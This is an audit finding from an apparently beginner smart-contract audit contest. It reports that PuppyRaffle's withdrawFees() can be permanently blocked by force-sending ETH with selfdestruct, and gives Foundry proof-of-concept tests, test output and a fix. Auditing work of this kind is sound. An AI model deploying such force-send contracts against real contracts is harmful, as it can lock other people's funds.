Puppy Raffle
AI First Flight #1
Beginner FriendlyFoundrySolidityNFT
EXP
View results
Previous Next
Submission Details
Severity: medium
Valid

Using `address(this).balance == totalFees` makes `withdrawFees()` vulnerable to forced ETH and can lock fees.

gush

Root + Impact

Description

  • `PuppyRaffle::withdrawFees()` assumes the contract balance equals the tracked fees:


    `require(address(this).balance == uint256(totalFees), "PuppyRaffle: There are currently players active!");`

    However, ETH can be forced into a contract. This breaks the equality check.

// Root cause in the codebase with @> marks to highlight the relevant section

Risk

Likelihood:

  • When extra ETH is sent to the contract, using i.e. the selfdestruct() method.

Impact:

  • If any extra ETH is present, the fees can become permanently stuck (cannot be withdrawn) even when there are no active players.

Proof of Concept

Place the following test into `PuppyRaffleTest.t.sol`.
​
```solidity
contract ForceSend {
constructor() payable {}
function boom(address payable to) external {
selfdestruct(to);
}
}
​
function test_forcedEth_breaksWithdrawFeesInvariant() public {
PuppyRaffle raffle = new PuppyRaffle(1 ether, address(123), 0);
​
address[] memory players = new address[](4);
players[0] = address(1);
players[1] = address(2);
players[2] = address(3);
players[3] = address(4);
​
vm.deal(address(this), 4 ether);
raffle.enterRaffle{value: 4 ether}(players);
raffle.selectWinner();
​
// Fee should be 0.8 ether (fits in uint64)
assertEq(address(raffle).balance, 0.8 ether);
​
// Force-send 1 wei to break the strict equality check
ForceSend fs = new ForceSend{value: 1}();
fs.boom(payable(address(raffle)));
​
assertEq(address(raffle).balance, 0.8 ether + 1);
vm.expectRevert();
raffle.withdrawFees();
}
```

Recommended Mitigation

Gate withdrawals with raffle state (`players.length == 0`) instead of strict balance equality.
​
```diff
function withdrawFees() external {
- require(address(this).balance == uint256(totalFees), "PuppyRaffle: There are currently players active!");
+ require(players.length == 0, "PuppyRaffle: There are currently players active!");
uint256 feesToWithdraw = totalFees;
totalFees = 0;
// slither-disable-next-line arbitrary-send-eth
(bool success,) = feeAddress.call{value: feesToWithdraw}("");
require(success, "PuppyRaffle: Failed to withdraw fees");
}
Updates

Lead Judging Commences

ai-first-flight-judge Lead Judge 2 days ago
Submission Judgement Published
Validated
Assigned finding tags:

[M-02] Slightly increasing puppyraffle's contract balance will render `withdrawFees` function useless

## Description An attacker can slightly change the eth balance of the contract to break the `withdrawFees` function. ## Vulnerability Details The withdraw function contains the following check: ``` require(address(this).balance == uint256(totalFees), "PuppyRaffle: There are currently players active!"); ``` Using `address(this).balance` in this way invites attackers to modify said balance in order to make this check fail. This can be easily done as follows: Add this contract above `PuppyRaffleTest`: ``` contract Kill { constructor (address target) payable { address payable _target = payable(target); selfdestruct(_target); } } ``` Modify `setUp` as follows: ``` function setUp() public { puppyRaffle = new PuppyRaffle( entranceFee, feeAddress, duration ); address mAlice = makeAddr("mAlice"); vm.deal(mAlice, 1 ether); vm.startPrank(mAlice); Kill kill = new Kill{value: 0.01 ether}(address(puppyRaffle)); vm.stopPrank(); } ``` Now run `testWithdrawFees()` - ` forge test --mt testWithdrawFees` to get: ``` Running 1 test for test/PuppyRaffleTest.t.sol:PuppyRaffleTest [FAIL. Reason: PuppyRaffle: There are currently players active!] testWithdrawFees() (gas: 361718) Test result: FAILED. 0 passed; 1 failed; 0 skipped; finished in 3.40ms ``` Any small amount sent over by a self destructing contract will make `withdrawFees` function unusable, leaving no other way of taking the fees out of the contract. ## Impact All fees that weren't withdrawn and all future fees are stuck in the contract. ## Recommendations Avoid using `address(this).balance` in this way as it can easily be changed by an attacker. Properly track the `totalFees` and withdraw it. ```diff function withdrawFees() external { -- require(address(this).balance == uint256(totalFees), "PuppyRaffle: There are currently players active!"); uint256 feesToWithdraw = totalFees; totalFees = 0; (bool success,) = feeAddress.call{value: feesToWithdraw}(""); require(success, "PuppyRaffle: Failed to withdraw fees"); } ```

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!